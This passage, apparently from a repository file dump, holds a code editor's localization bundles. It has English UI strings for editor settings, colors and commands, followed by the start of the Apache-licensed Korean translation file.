minimap slider is automatically hidden.\",\"Render the actual characters on a line (as opposed to color blocks)\",\"Limit the width of the minimap to render at most a certain number of columns\",\"Controls if we seed the search string in Find Widget from editor selection\",\"Controls if Find in Selection flag is turned on when multiple characters or lines of text are selected in the editor\",\"Lines will never wrap.\",\"Lines will wrap at the viewport width.\",\"Lines will wrap at `editor.wordWrapColumn`.\",\"Lines will wrap at the minimum of viewport and `editor.wordWrapColumn`.\",\"Controls how lines should wrap. Can be:\\n - 'off' (disable wrapping),\\n - 'on' (viewport wrapping),\\n - 'wordWrapColumn' (wrap at `editor.wordWrapColumn`) or\\n - 'bounded' (wrap at minimum of viewport and `editor.wordWrapColumn`).\",\"Controls the wrapping column of the editor when `editor.wordWrap` is 'wordWrapColumn' or 'bounded'.\",\"Controls the indentation of wrapped lines. Can be one of 'none', 'same' or 'indent'.\",\"A multiplier to be used on the `deltaX` and `deltaY` of mouse wheel scroll events\",\"Maps to `Control` on Windows and Linux and to `Command` on OSX.\",\"Maps to `Alt` on Windows and Linux and to `Option` on OSX.\",\"The modifier to be used to add multiple cursors with the mouse. `ctrlCmd` maps to `Control` on Windows and Linux and to `Command` on OSX. The Go To Definition and Open Link mouse gestures will adapt such that they do not conflict with the multicursor modifier.\",\"Enable quick suggestions inside strings.\",\"Enable quick suggestions inside comments.\",\"Enable quick suggestions outside of strings and comments.\",\"Controls if suggestions should automatically show up while typing\",\"Controls the delay in ms after which quick suggestions will show up\",\"Enables pop-up that shows parameter documentation and type information as you type\",\"Controls if the editor should automatically close brackets after opening them\",\"Controls if the editor should automatically format the line after typing\",\"Controls if the editor should automatically format the pasted content. A formatter must be available and the formatter should be able to format a range in a document.\",\"Controls if the editor should automatically adjust the indentation when users type, paste or move lines. Indentation rules of the language must be available. \",\"Controls if suggestions should automatically show up when typing trigger characters\",\"Controls if suggestions should be accepted on 'Enter' - in addition to 'Tab'. Helps to avoid ambiguity between inserting new lines or accepting suggestions. The value 'smart' means only accept a suggestion with Enter when it makes a textual change\",\"Controls if suggestions should be accepted on commit characters. For instance in JavaScript the semi-colon (';') can be a commit character that accepts a suggestion and types that character.\",\"Show snippet suggestions on top of other suggestions.\",\"Show snippet suggestions below other suggestions.\",\"Show snippets suggestions with other suggestions.\",\"Do not show snippet suggestions.\",\"Controls whether snippets are shown with other suggestions and how they are sorted.\",\"Controls whether copying without a selection copies the current line.\",\"Controls whether completions should be computed based on words in the document.\",\"Font size for the suggest widget\",\"Line height for the suggest widget\",\"Controls whether the editor should highlight similar matches to the selection\",\"Controls whether the editor should highlight semantic symbol occurrences\",\"Controls the number of decorations that can show up at the same position in the overview ruler\",\"Controls if a border should be drawn around the overview ruler.\",\"Control the cursor animation style, possible values are 'blink', 'smooth', 'phase', 'expand' and 'solid'\",\"Zoom the font of the editor when using mouse wheel and holding Ctrl\",\"Controls the cursor style, accepted values are 'block', 'block-outline', 'line', 'line-thin', 'underline' and 'underline-thin'\",\"Enables font ligatures\",\"Controls if the cursor should be hidden in the overview ruler.\",\"Controls how the editor should render whitespace characters, possibilities are 'none', 'boundary', and 'all'. The 'boundary' option does not render single spaces between words.\",\"Controls whether the editor should render control characters\",\"Controls whether the editor should render indent guides\",\"Controls how the editor should render the current line highlight, possibilities are 'none', 'gutter', 'line', and 'all'.\",\"Controls if the editor shows code lenses\",\"Controls whether the editor has code folding enabled\",\"Controls whether the fold controls on the gutter are automatically hidden.\",\"Highlight matching brackets when one of them is selected.\",\"Controls whether the editor should render the vertical glyph margin. Glyph margin is mostly used for debugging.\",\"Inserting and deleting whitespace follows tab stops\",\"Remove trailing auto inserted whitespace\",\"Keep peek editors open even when double clicking their content or when hitting Escape.\",\"Controls if the editor should allow to move selections via drag and drop.\",\"The editor will use platform APIs to detect when a Screen Reader is attached.\",\"The editor will be permanently optimized for usage with a Screen Reader.\",\"The editor will never be optimized for usage with a Screen Reader.\",\"Controls whether the editor should run in a mode where it is optimized for screen readers.\",\"Controls whether the editor should detect links and make them clickable\",\"Controls if the diff editor shows the diff side by side or inline\",\"Controls if the diff editor shows changes in leading or trailing whitespace as diffs\",\"Controls if the diff editor shows +/- indicators for added/removed changes\",\"Controls if the Linux primary clipboard should be supported.\"],\"vs/editor/common/config/editorOptions\":[\"The editor is not accessible at this time. Press Alt+F1 for options.\",\"Editor content\"],\"vs/editor/common/controller/cursor\":[\"Unexpected exception while executing command.\"],\"vs/editor/common/model/textModelWithTokens\":[\"The mode has failed while tokenizing the input.\"],\"vs/editor/common/modes/modesRegistry\":[\"Plain Text\"],\"vs/editor/common/services/bulkEdit\":[\"These files have changed in the meantime: {0}\",\"Made no edits\",\"Made {0} text edits in {1} files\",\"Made {0} text edits in one file\"],\"vs/editor/common/services/modelServiceImpl\":[\"[{0}]\\n{1}\",\"[{0}] {1}\"],\"vs/editor/common/view/editorColorRegistry\":[\"Background color for the highlight of line at the cursor position.\",\"Background color for the border around the line at the cursor position.\",\"Background color of highlighted ranges, like by quick open and find features.\",\"Color of the editor cursor.\",\"The background color of the editor cursor. Allows customizing the color of a character overlapped by a block cursor.\",\"Color of whitespace characters in the editor.\",\"Color of the editor indentation guides.\",\"Color of editor line numbers.\",\"Color of the editor rulers.\",\"Foreground color of editor code lenses\",\"Background color behind matching brackets\",\"Color for matching brackets boxes\",\"Color of the overview ruler border.\",\"Background color of the editor gutter. The gutter contains the glyph margins and the line numbers.\",\"Foreground color of error squigglies in the editor.\",\"Border color of error squigglies in the editor.\",\"Foreground color of warning squigglies in the editor.\",\"Border color of warning squigglies in the editor.\"],\"vs/editor/contrib/bracketMatching/common/bracketMatching\":[\"Go to Bracket\"],\"vs/editor/contrib/caretOperations/common/caretOperations\":[\"Move Caret Left\",\"Move Caret Right\"],\"vs/editor/contrib/caretOperations/common/transpose\":[\"Transpose Letters\"],\"vs/editor/contrib/clipboard/browser/clipboard\":[\"Cut\",\"Copy\",\"Paste\",\"Copy With Syntax Highlighting\"],\"vs/editor/contrib/comment/common/comment\":[\"Toggle Line Comment\",\"Add Line Comment\",\"Remove Line Comment\",\"Toggle Block Comment\"],\"vs/editor/contrib/contextmenu/browser/contextmenu\":[\"Show Editor Context Menu\"],\"vs/editor/contrib/find/browser/findWidget\":[\"Find\",\"Find\",\"Previous match\",\"Next match\",\"Find in selection\",\"Close\",\"Replace\",\"Replace\",\"Replace\",\"Replace All\",\"Toggle Replace mode\",\"Only the first 999 results are highlighted, but all find operations work on the entire text.\",\"{0} of {1}\",\"No Results\"],\"vs/editor/contrib/find/common/findController\":[\"Find\",\"Find Next\",\"Find Previous\",\"Find Next Selection\",\"Find Previous Selection\",\"Replace\",\"Add Selection To Next Find Match\",\"Add Selection To Previous Find Match\",\"Move Last Selection To Next Find Match\",\"Move Last Selection To Previous Find Match\",\"Select All Occurrences of Find Match\",\"Change All Occurrences\",\"Show Next Find Term\",\"Show Previous Find Term\"],\"vs/editor/contrib/folding/browser/folding\":[\"Unfold\",\"Unfold Recursively\",\"Fold\",\"Fold Recursively\",\"Fold All\",\"Unfold All\",\"Fold Level {0}\"],\"vs/editor/contrib/format/browser/formatActions\":[\"Made 1 formatting edit on line {0}\",\"Made {0} formatting edits on line {1}\",\"Made 1 formatting edit between lines {0} and {1}\",\"Made {0} formatting edits between lines {1} and {2}\",\"Format Document\",\"Format Selection\"],\"vs/editor/contrib/goToDeclaration/browser/goToDeclarationCommands\":[\"No definition found for '{0}'\",\"No definition found\",\" – {0} definitions\",\"Go to Definition\",\"Open Definition to the Side\",\"Peek Definition\",\"No implementation found for '{0}'\",\"No implementation found\",\" – {0} implementations\",\"Go to Implementation\",\"Peek Implementation\",\"No type definition found for '{0}'\",\"No type definition found\",\" – {0} type definitions\",\"Go to Type Definition\",\"Peek Type Definition\"],\"vs/editor/contrib/goToDeclaration/browser/goToDeclarationMouse\":[\"Click to show {0} definitions.\"],\"vs/editor/contrib/gotoError/browser/gotoError\":[\"({0}/{1})\",\"Go to Next Error or Warning\",\"Go to Previous Error or Warning\",\"Editor marker navigation widget error color.\",\"Editor marker navigation widget warning color.\",\"Editor marker navigation widget background.\"],\"vs/editor/contrib/hover/browser/hover\":[\"Show Hover\"],\"vs/editor/contrib/hover/browser/modesContentHover\":[\"Loading...\"],\"vs/editor/contrib/inPlaceReplace/common/inPlaceReplace\":[\"Replace with Previous Value\",\"Replace with Next Value\"],\"vs/editor/contrib/linesOperations/common/linesOperations\":[\"Copy Line Up\",\"Copy Line Down\",\"Move Line Up\",\"Move Line Down\",\"Sort Lines Ascending\",\"Sort Lines Descending\",\"Trim Trailing Whitespace\",\"Delete Line\",\"Indent Line\",\"Outdent Line\",\"Insert Line Above\",\"Insert Line Below\",\"Delete All Left\",\"Delete All Right\",\"Join Lines\",\"Transpose characters around the cursor\",\"Transform to Uppercase\",\"Transform to Lowercase\"],\"vs/editor/contrib/links/browser/links\":[\"Cmd + click to follow link\",\"Ctrl + click to follow link\",\"Cmd + click to execute command\",\"Ctrl + click to execute command\",\"Alt + click to follow link\",\"Alt + click to execute command\",\"Sorry, failed to open this link because it is not well-formed: {0}\",\"Sorry, failed to open this link because its target is missing.\",\"Open Link\"],\"vs/editor/contrib/multicursor/common/multicursor\":[\"Add Cursor Above\",\"Add Cursor Below\",\"Add Cursors to Line Ends\"],\"vs/editor/contrib/parameterHints/browser/parameterHints\":[\"Trigger Parameter Hints\"],\"vs/editor/contrib/parameterHints/browser/parameterHintsWidget\":[\"{0}, hint\"],\"vs/editor/contrib/quickFix/browser/quickFixCommands\":[\"Show Fixes ({0})\",\"Show Fixes\",\"Quick Fix\"],\"vs/editor/contrib/referenceSearch/browser/referenceSearch\":[\" – {0} references\",\"Find All References\"],\"vs/editor/contrib/referenceSearch/browser/referencesController\":[\"Loading...\"],\"vs/editor/contrib/referenceSearch/browser/referencesModel\":[\"symbol in {0} on line {1} at column {2}\",\"1 symbol in {0}, full path {1}\",\"{0} symbols in {1}, full path {2}\",\"No results found\",\"Found 1 symbol in {0}\",\"Found {0} symbols in {1}\",\"Found {0} symbols in {1} files\"],\"vs/editor/contrib/referenceSearch/browser/referencesWidget\":[\"Failed to resolve file.\",\"{0} references\",\"{0} reference\",\"no preview available\",\"References\",\"No results\",\"References\",\"Background color of the peek view title area.\",\"Color of the peek view title.\",\"Color of the peek view title info.\",\"Color of the peek view borders and arrow.\",\"Background color of the peek view result list.\",\"Foreground color for line nodes in the peek view result list.\",\"Foreground color for file nodes in the peek view result list.\",\"Background color of the selected entry in the peek view result list.\",\"Foreground color of the selected entry in the peek view result list.\",\"Background color of the peek view editor.\",\"Background color of the gutter in the peek view editor.\",\"Match highlight color in the peek view result list.\",\"Match highlight color in the peek view editor.\"],\"vs/editor/contrib/rename/browser/rename\":[\"No result.\",\"Successfully renamed '{0}' to '{1}'. Summary: {2}\",\"Sorry, rename failed to execute.\",\"Rename Symbol\"],\"vs/editor/contrib/rename/browser/renameInputField\":[\"Rename input. Type new name and press Enter to commit.\"],\"vs/editor/contrib/smartSelect/common/smartSelect\":[\"Expand Select\",\"Shrink Select\"],\"vs/editor/contrib/suggest/browser/suggestController\":[\"Accepting '{0}' did insert the following text: {1}\",\"Trigger Suggest\"],\"vs/editor/contrib/suggest/browser/suggestWidget\":[\"Background color of the suggest widget.\",\"Border color of the suggest widget.\",\"Foreground color of the suggest widget.\",\"Background color of the selected entry in the suggest widget.\",\"Color of the match highlights in the suggest widget.\",\"Read More...{0}\",\"{0}, suggestion, has details\",\"{0}, suggestion\",\"Read less...{0}\",\"Loading...\",\"No suggestions.\",\"{0}, accepted\",\"{0}, suggestion, has details\",\"{0}, suggestion\"],\"vs/editor/contrib/toggleTabFocusMode/common/toggleTabFocusMode\":[\"Toggle Tab Key Moves Focus\"],\"vs/editor/contrib/wordHighlighter/common/wordHighlighter\":[\"Background color of a symbol during read-access, like reading a variable.\",\"Background color of a symbol during write-access, like writing to a variable.\"],\"vs/editor/contrib/zoneWidget/browser/peekViewWidget\":[\"Close\"],\"vs/editor/standalone/browser/inspectTokens/inspectTokens\":[\"Developer: Inspect Tokens\"],\"vs/editor/standalone/browser/quickOpen/gotoLine\":[\"Go to line {0} and character {1}\",\"Go to line {0}\",\"Type a line number between 1 and {0} to navigate to\",\"Type a character between 1 and {0} to navigate to\",\"Go to line {0}\",\"Type a line number, followed by an optional colon and a character number to navigate to\",\"Go to Line...\"],\"vs/editor/standalone/browser/quickOpen/quickCommand\":[\"{0}, commands\",\"Type the name of an action you want to execute\",\"Command Palette\"],\"vs/editor/standalone/browser/quickOpen/quickOutline\":[\"{0}, symbols\",\"Type the name of an identifier you wish to navigate to\",\"Go to Symbol...\",\"symbols ({0})\",\"modules ({0})\",\"classes ({0})\",\"interfaces ({0})\",\"methods ({0})\",\"functions ({0})\",\"properties ({0})\",\"variables ({0})\",\"variables ({0})\",\"constructors ({0})\",\"calls ({0})\"],\"vs/editor/standalone/browser/standaloneCodeEditor\":[\"Editor content\",\"Press Ctrl+F1 for Accessibility Options.\",\"Press Alt+F1 for Accessibility Options.\"],\"vs/editor/standalone/browser/toggleHighContrast/toggleHighContrast\":[\"Toggle High Contrast Theme\"],\"vs/platform/configuration/common/configurationRegistry\":[\"Default Configuration Overrides\",\"Configure editor settings to be overridden for {0} language.\",\"Configure editor settings to be overridden for a language.\",\"Cannot register '{0}'. This matches property pattern '\\\\\\\\[.*\\\\\\\\]$' for describing language specific editor settings. Use 'configurationDefaults' contribution.\",\"Cannot register '{0}'. This property is already registered.\"],\"vs/platform/keybinding/common/abstractKeybindingService\":[\"({0}) was pressed. Waiting for second key of chord...\",\"The key combination ({0}, {1}) is not a command.\"],\"vs/platform/message/common/message\":[\"Close\",\"Later\",\"Cancel\"],\"vs/platform/theme/common/colorRegistry\":[\"Invalid color format. Use #RGB, #RGBA, #RRGGBB or #RRGGBBAA\",\"Colors used in the workbench.\",\"Overall foreground color. This color is only used if not overridden by a component.\",\"Overall foreground color for error messages. This color is only used if not overridden by a component.\",\"Foreground color for description text providing additional information, for example for a label.\",\"Overall border color for focused elements. This color is only used if not overridden by a component.\",\"An extra border around elements to separate them from others for greater contrast.\",\"An extra border around active elements to separate them from others for greater contrast.\",\"The background color of text selections in the workbench (e.g. for input fields or text areas). Note that this does not apply to selections within the editor.\",\"Color for text separators.\",\"Foreground color for links in text.\",\"Foreground color for active links in text.\",\"Foreground color for preformatted text segments.\",\"Background color for block quotes in text.\",\"Border color for block quotes in text.\",\"Background color for code blocks in text.\",\"Shadow color of widgets such as find/replace inside the editor.\",\"Input box background.\",\"Input box foreground.\",\"Input box border.\",\"Border color of activated options in input fields.\",\"Input box foreground color for placeholder text.\",\"Input validation background color for information severity.\",\"Input validation border color for information severity.\",\"Input validation background color for information warning.\",\"Input validation border color for warning severity.\",\"Input validation background color for error severity.\",\"Input validation border color for error severity.\",\"Dropdown background.\",\"Dropdown foreground.\",\"Dropdown border.\",\"List/Tree background color for the focused item when the list/tree is active. An active list/tree has keyboard focus, an inactive does not.\",\"List/Tree foreground color for the focused item when the list/tree is active. An active list/tree has keyboard focus, an inactive does not.\",\"List/Tree background color for the selected item when the list/tree is active. An active list/tree has keyboard focus, an inactive does not.\",\"List/Tree foreground color for the selected item when the list/tree is active. An active list/tree has keyboard focus, an inactive does not.\",\"List/Tree background color for the selected item when the list/tree is inactive. An active list/tree has keyboard focus, an inactive does not.\",\"List/Tree foreground color for the selected item when the list/tree is inactive. An active list/tree has keyboard focus, an inactive does not.\",\"List/Tree background color for the selected item when the list/tree is inactive. An active list/tree has keyboard focus, an inactive does not.\",\"List/Tree foreground color for the selected item when the list/tree is inactive. An active list/tree has keyboard focus, an inactive does not.\",\"List/Tree background when hovering over items using the mouse.\",\"List/Tree foreground when hovering over items using the mouse.\",\"List/Tree drag and drop background when moving items around using the mouse.\",\"List/Tree foreground color of the match highlights when searching inside the list/tree.\",\"Quick picker color for grouping labels.\",\"Quick picker color for grouping borders.\",\"Button foreground color.\",\"Button background color.\",\"Button background color when hovering.\",\"Badge background color. Badges are small information labels, e.g. for search results count.\",\"Badge foreground color. Badges are small information labels, e.g. for search results count.\",\"Scrollbar shadow to indicate that the view is scrolled.\",\"Scrollbar slider background color.\",\"Scrollbar slider background color when hovering.\",\"Scrollbar slider background color when active.\",\"Background color of the progress bar that can show for long running operations.\",\"Editor background color.\",\"Editor default foreground color.\",\"Background color of editor widgets, such as find/replace.\",\"Border color of editor widgets. The color is only used if the widget chooses to have a border and if the color is not overridden by a widget.\",\"Color of the editor selection.\",\"Color of the selected text for high contrast.\",\"Color of the selection in an inactive editor.\",\"Color for regions with the same content as the selection.\",\"Color of the current search match.\",\"Color of the other search matches.\",\"Color the range limiting the search.\",\"Highlight below the word for which a hover is shown.\",\"Background color of the editor hover.\",\"Border color of the editor hover.\",\"Color of active links.\",\"Background color for text that got inserted.\",\"Background color for text that got removed.\",\"Outline color for the text that got inserted.\",\"Outline color for text that got removed.\",\"Current header background in inline merge-conflicts.\",\"Current content background in inline merge-conflicts.\",\"Incoming header background in inline merge-conflicts.\",\"Incoming content background in inline merge-conflicts.\",\"Common ancestor header background in inline merge-conflicts.\",\"Common ancester content background in inline merge-conflicts.\",\"Border color on headers and the splitter in inline merge-conflicts.\",\"Current overview ruler foreground for inline merge-conflicts.\",\"Incoming overview ruler foreground for inline merge-conflicts.\",\"Common ancestor overview ruler foreground for inline merge-conflicts.\"]});\n//# sourceMappingURL=../../../min-maps/vs/editor/editor.main.nls.js.map\n"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/editor/editor.main.nls.ko.js",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\ndefine(\"vs/editor/editor.main.nls.ko\",{\"vs/base/browser/ui/actionbar/actionbar\":[\"{0}({1})\"],\"vs/base/browser/ui/aria/aria\":[\"{0}(다시 발생함)\"],\"vs/base/browser/ui/findinput/findInput\":[\"입력\"],\"vs/base/browser/ui/findinput/findInputCheckboxes\":[\"대/소문자 구분\",\"단어 단위로\",\"정규식 사용\"],\"vs/base/browser/ui/inputbox/inputBox\":[\"오류: {0}\",\"경고: {0}\",\"정보: {0}\"],\"vs/base/common/keybindingLabels\":[\"Ctrl\",\"<Shift>\",\"Alt\",\"Windows\",\"컨트롤\",\"<Shift>\",\"Alt\",\"명령\",\"컨트롤\",\"<Shift>\",\"Alt\",\"Windows\"],\"vs/base/common/severity\":[\"오류\",\"경고\",\"정보\"],\"vs/base/parts/quickopen/browser/quickOpenModel\":[\"{0}, 선택기\",\"선택기\"],\"vs/base/parts/quickopen/browser/quickOpenWidget\":[\"빠른 선택기입니다. 결과의 범위를 축소하려면 입력합니다.\",\"빠른 선택기\"],\"vs/base/parts/tree/browser/treeDefaults\":[\"축소\"],\"vs/editor/browser/widget/diffEditorWidget\":[\"파일 1개가 너무 커서 파일을 비교할 수 없습니다.\"],\"vs/editor/browser/widget/diffReview\":[\"닫기\",\"다른 항목 {0} / {1}: 원본 {2}, {3}행, 수정 {4}, {5}행\",\"비어 있음\",\"원본 {0}, 수정 {1}: {2}\",\"+ 수정됨 {0}: {1}\",\"- 원본 {0}: {1}\",\"다음 다른 항목으로 이동\",\"다음 다른 항목으로 이동\"],\"vs/editor/common/config/commonEditorConfig\":[\"편집기\",\"글꼴 패밀리를 제어합니다.\",\"글꼴 두께를 제어합니다.\",\"글꼴 크기(픽셀)를 제어합니다.\",\"줄 높이를 제어합니다. fontSize의 lineHeight를 계산하려면 0을 사용합니다.\",\"글자 간격을 픽셀 단위로 조정합니다.\",\"줄 번호의 표시 여부를 제어합니다. 가능한 값은 'on', 'off', 'relative'입니다. 'relative'는 현재 커서 위치에서 줄 수를 표시합니다.\",\"세로 눈금자를 표시할 열\",\"단어 관련 탐색 또는 작업을 수행할 때 단어 구분 기호로 사용되는 문자입니다.\",\"탭 한 개에 해당하는 공백 수입니다. `editor.detectIndentation`이 켜져 있는 경우 이 설정은 파일 콘텐츠에 따라 재정의됩니다.\",\"'number'가 필요합니다. 값 \\\"auto\\\"는 `editor.detectIndentation` 설정에 의해 바뀌었습니다.\",\"<Tab> 키를 누를 때 공백을 삽입합니다. `editor.detectIndentation`이 켜져 있는 경우 이 설정은 파일 콘텐츠에 따라 재정의됩니다.\",\"'boolean'이 필요합니다. 값 \\\"auto\\\"는 `editor.detectIndentation` 설정에 의해 바뀌었습니다.\",\"파일을 열면 파일 콘텐츠를 기반으로 하여 'editor.tabSize'와 'editor.insertSpaces'가 검색됩니다.\",\"선택 항목의 모서리를 둥글게 할지 여부를 제어합니다.\",\"편집기에서 마지막 줄 이후로 스크롤할지 여부를 제어합니다.\",\"미니맵 표시 여부를 제어합니다.\",\"미니맵 슬라이더를 자동으로 숨길지 결정합니다.\",\"줄의 실제 문자(색 블록 아님) 렌더링\",\"최대 특정 수의 열을 렌더링하도록 미니맵의 너비를 제한합니다.\",\"편집기 선택에서 Find Widget의 검색 문자열을 시딩할지 설정합니다.\",\"편집기에서 여러 글자 또는 행을 선택했을 때 Find in Selection 플래그를 켤지 설정합니다.\",\"줄이 바뀌지 않습니다.\",\"뷰포트 너비에서 줄이 바뀝니다.\",\"`editor.wordWrapColumn`에서 줄이 바뀝니다.\",\"뷰포트의 최소값 및 `editor.wordWrapColumn`에서 줄이 바뀝니다.\",\"줄 바꿈 여부를 제어합니다. 다음 중 하나일 수 있습니다.\\n - 'off' (줄 바꿈 사용 안 함),\\n - 'on' (뷰포트 줄 바꿈),\\n - 'wordWrapColumn' (`editor.wordWrapColumn`에서 줄 바꿈) 또는\\n - 'bounded' (뷰포트의 최소값 및 `editor.wordWrapColumn`에서 줄 바꿈).\",\"`editor.wordWrap`이 'wordWrapColumn' 또는 'bounded'인 경우 편집기의 열 줄 바꿈을 제어합니다.\",\"줄 바꿈 행의 들여쓰기를 제어합니다. 'none', 'same' 또는 'indent' 중 하나일 수 있습니다.\",\"마우스 휠 스크롤 이벤트의 `deltaX` 및 `deltaY`에서 사용할 승수\",\"Windows와 Linux의 'Control'을 OSX의 'Command'로 매핑합니다.\",\"Windows와 Linux의 'Alt'를 OSX의 'Option'으로 매핑합니다.\",\"마우스로 여러 커서를 추가할 때 사용할 수정자입니다. `ctrlCmd`는 Windows와 Linux에서 `Control`로 매핑되고 OSX에서 `Command`로 매핑됩니다. Go To Definition 및 Open Link 마우스 제스처가 멀티커서 수정자와 충돌하지 않도록 조정됩니다.\",\"문자열 내에서 빠른 제안을 사용합니다.\",\"주석 내에서 빠른 제안을 사용합니다.\",\"문자열 및 주석 외부에서 빠른 제안을 사용합니다.\",\"입력하는 동안 제안을 자동으로 표시할지 여부를 제어합니다.\",\"빠른 제안을 표시할 지연 시간(ms)을 제어합니다.\",\"입력과 동시에 매개변수 문서와 유형 정보를 표시하는 팝업을 사용\",\"괄호를 연 다음에 편집기에서 괄호를 자동으로 닫을지 여부를 제어합니다.\",\"입력 후 편집기에서 자동으로 줄의 서식을 지정할지 여부를 제어합니다.\",\"붙여넣은 콘텐츠의 서식을 편집기에서 자동으로 지정할지 여부를 제어합니다. 포맷터는 반드시 사용할 수 있어야 하며 문서에서 범위의 서식을 지정할 수 있어야 합니다.\",\"사용자가 입력을 하거나 행을 붙여넣기 또는 이동할 때 편집기가 자동으로 들여쓰기를 적용할지 결정합니다. 해당 언어의 들여쓰기 규칙이 있어야 합니다.\",\"트리거 문자를 입력할 때 제안을 자동으로 표시할지 여부를 제어합니다.\",\"'Tab' 키 외에 'Enter' 키에 대한 제안도 허용할지를 제어합니다. 새 줄을 삽입하는 동작과 제안을 허용하는 동작 간의 모호함을 없앨 수 있습니다.\",\"커밋 문자에 대한 제안을 허용할지를 제어합니다. 예를 들어 JavaScript에서는 세미콜론(';')이 제안을 허용하고 해당 문자를 입력하는 커밋 문자일 수 있습니다.\",\"다른 제안 위에 조각 제안을 표시합니다.\",\"다른 제안 아래에 조각 제안을 표시합니다.\",\"다른 제안과 함께 조각 제안을 표시합니다.\",\"코드 조각 제안을 표시하지 않습니다.\\n\",\"코드 조각이 다른 추천과 함께 표시되는지 여부 및 정렬 방법을 제어합니다.\",\"선택 영역 없이 현재 줄 복사 여부를 제어합니다.\",\"문서 내 단어를 기반으로 완성을 계산할지 여부를 제어합니다.\",\"제안 위젯의 글꼴 크기\",\"제안 위젯의 줄 높이\",\"편집기에서 선택 항목과 유사한 일치 항목을 강조 표시할지 여부를 제어합니다.\",\"편집기에서 의미 체계 기호 항목을 강조 표시할지 여부를 제어합니다.\",\"개요 눈금자에서 동일한 위치에 표시될 수 있는 장식 수를 제어합니다.\",\"개요 눈금자 주위에 테두리를 그릴지 여부를 제어합니다.\",\"커서 애니메이션 스타일을 제어합니다. 가능한 값은 'blink', 'smooth', 'phase', 'expand' 및 'solid'입니다.\",\"마우스 휠을 사용할 때 Ctrl 키를 누르고 있으면 편집기의 글꼴 확대/축소\",\"커서 스타일을 제어합니다. 허용되는 값은 '블록', '블록-윤곽', '줄', '줄-가늘게', '밑줄' 및 '밑줄-가늘게'입니다.\",\"글꼴 합자 사용\",\"커서가 개요 눈금자에서 가려져야 하는지 여부를 제어합니다.\",\"편집기에서 공백 문자를 렌더링하는 방법을 제어합니다. 가능한 값은 'none', 'boundary' 및 'all'입니다. 'boundary' 옵션은 단어 사이의 한 칸 공백을 렌더링하지 않습니다.\",\"편집기에서 제어 문자를 렌더링할지를 제어합니다.\",\"편집기에서 들여쓰기 가이드를 렌더링할지를 제어합니다.\",\"편집기가 현재 줄 강조 표시를 렌더링하는 방식을 제어합니다. 가능한 값은 'none', 'gutter', 'line' 및 'all'입니다.\",\"편집기에서 코드 필터를 표시하는지 여부를 제어합니다.\",\"편집기에서 코드 접기를 사용할지 여부를 제어합니다.\",\"거터의 폴드 컨트롤을 자동으로 숨길지 결정합니다.\",\"대괄호 중 하나를 선택할 때 일치하는 대괄호를 강조 표시합니다.\",\"편집기에서 세로 문자 모양 여백을 렌더링할지 여부를 제어합니다. 문자 모양 여백은 주로 디버깅에 사용됩니다.\",\"탭 정지 뒤에 공백 삽입 및 삭제\",\"끝에 자동 삽입된 공백 제거\",\"해당 콘텐츠를 두 번 클릭하거나 <Esc> 키를 누르더라도 Peek 편집기를 열린 상태로 유지합니다.\",\"편집기에서 끌어서 놓기로 선택 영역을 이동할 수 있는지 여부를 제어합니다.\",\"편집기가 스크린 리더가 연결되면 플랫폼 API를 사용하여 감지합니다.\",\"편집기가 스크린 리더 사용을 위해 영구적으로 최적화됩니다.\",\"편집기가 스크린 리더 사용을 위해 최적화되지 않습니다.\",\"편집기를 스크린 리더를 위해 최적화된 모드로 실행할지 결정합니다.\",\"편집기에서 링크를 감지하고 클릭할 수 있게 만들지 결정합니다.\",\"diff 편집기에서 diff를 나란히 표시할지 인라인으로 표시할지 여부를 제어합니다.\",\"diff 편집기에서 선행 공백 또는 후행 공백 변경을 diffs로 표시할지 여부를 제어합니다.\",\"diff 편집기에서 추가/제거된 변경 내용에 대해 +/- 표시기를 표시하는지 여부를 제어합니다.\",\"Linux 주 클립보드의 지원 여부를 제어합니다.\"],\"vs/editor/common/config/editorOptions\":[\"지금은 편집기를 사용할 수 없습니다. Alt+F1을 눌러 옵션을 보세요.\",\"편집기 콘텐츠\"],\"vs/editor/common/controller/cursor\":[\"명령을 실행하는 동안 예기치 않은 예외가 발생했습니다.\"],\"vs/editor/common/model/textModelWithTokens\":[\"입력을 토큰화하는 동안 모드에서 오류가 발생했습니다.\"],\"vs/editor/common/modes/modesRegistry\":[\"일반 텍스트\"],\"vs/editor/common/services/bulkEdit\":[\"이러한 파일이 동시에 변경되었습니다. {0}\",\"편집하지 않음\",\"{1}개 파일에서 {0}개 텍스트 편집을 수행함\",\"1개 파일에서 {0}개 텍스트 편집을 수행함\"],\"vs/editor/common/services/modelServiceImpl\":[\"[{0}]\\n{1}\",\"[{0}] {1}\"],\"vs/editor/common/view/editorColorRegistry\":[\"커서 위치의 줄 강조 표시에 대한 배경색입니다.\",\"커서 위치의 줄 테두리에 대한 배경색입니다.\",\"빠른 열기 및 찾기 기능 등을 통해 강조 표시된 영역의 배경색입니다.\",\"편집기 커서 색입니다.\",\"편집기 커서의 배경색입니다. 블록 커서와 겹치는 글자의 색상을 사용자 정의할 수 있습니다.\",\"편집기의 공백 문자 색입니다.\",\"편집기 들여쓰기 안내선 색입니다.\",\"편집기 줄 번호 색입니다.\",\"편집기 눈금의 색상입니다.\",\"편집기 코드 렌즈의 전경색입니다.\",\"일치하는 브래킷 뒤의 배경색입니다.\",\"일치하는 브래킷 박스의 색상\",\"개요 눈금 경계의 색상입니다.\",\"편집기 거터의 배경색입니다. 거터에는 글리프 여백과 행 수가 있습니다.\",\"편집기 내 오류 표시선의 전경색입니다.\",\"편집기 내 오류 표시선의 테두리 색입니다.\",\"편집기 내 경고 표시선의 전경색입니다.\",\"편집기 내 경고 표시선의 테두리 색입니다.\"],\"vs/editor/contrib/bracketMatching/common/bracketMatching\":[\"대괄호로 이동\"],\"vs/editor/contrib/caretOperations/common/caretOperations\":[\"캐럿을 왼쪽으로 이동\",\"캐럿을 오른쪽으로 이동\"],\"vs/editor/contrib/caretOperations/common/transpose\":[\"문자 바꾸기\"],\"vs/editor/contrib/clipboard/browser/clipboard\":[\"잘라내기\",\"복사\",\"붙여넣기\",\"구문을 강조 표시하여 복사\"],\"vs/editor/contrib/comment/common/comment\":[\"줄 주석 